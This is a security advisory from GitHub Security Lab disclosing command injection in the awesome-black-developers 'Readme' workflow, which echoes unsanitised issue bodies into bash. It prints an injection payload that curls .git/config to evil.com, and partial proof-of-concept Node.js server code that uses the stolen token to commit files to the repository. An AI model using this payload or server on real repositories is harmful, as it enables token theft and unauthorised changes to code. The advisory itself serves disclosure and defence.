February 3, 2021

GHSL-2020-184: Command injection in bdougie/awesome-black-developers workflow

Jaroslav Lobačevski

Coordinated Disclosure Timeline

  • 10/14/2020: Report sent to vendor
  • 10/14/2020: Vendor acknowledges
  • 10/15/2020: Issue resolved


The 'Readme' GitHub workflow is vulnerable to arbitrary command injection.


Awesome-black-developers GitHub repository

Tested Version

readme.yml from the main branch.


Issue: The body of a public GitHub issue is used to format a shell command

When a user creates a public issue it automatically starts the readme.yml GitHub workflow. The body of the issue is used without sanitization to format a bash script.

    types: [opened, edited]
    - run:  'echo "${{ github.event.issue.body }}" > temp.txt'


This vulnerability allows for arbitrary command injection into the bash script. For example a user may create an issue with the body a" > temp.txt; set +e; curl -d @.git/config http://evil.com; sleep 10 # which will exfiltrate the temporary GitHub repository authorization token to the attacker controlled server. Although the token is not valid after the workflow finishes, since the attacker controls the execution of the workflow he or she can delay it to give the malicious server time to modify the repository.
Below is a Proof of Concept server code that receives the GitHub token and adds an arbitrary file to the repository.

const express = require('express')
const github = require('@actions/github')

const app = express()
const port = 8000

app.get('/', async (req, res, next) => {
  try {
    const octokit = github.getOctokit(req.query.t);

    await octokit.repos.createOrUpdateFileContents({
      // this is a targeted attack, repo name can be hardcoded
      owner: "bdougie",
      repo: "bdougie/awesome-black-developers",
      path: "test.txt",
      message: "yet another commit",
      content: Buffer.from("another day in the office").toString('base64'),
      committer: {name: "bdougie", email: "bdougie@users.noreply.github.com"},


  } catch (error) {

app.listen(port, () => {
  console.log(`Listening at http://localhost:${port}`)


This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).


You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-184 in any communication regarding this issue.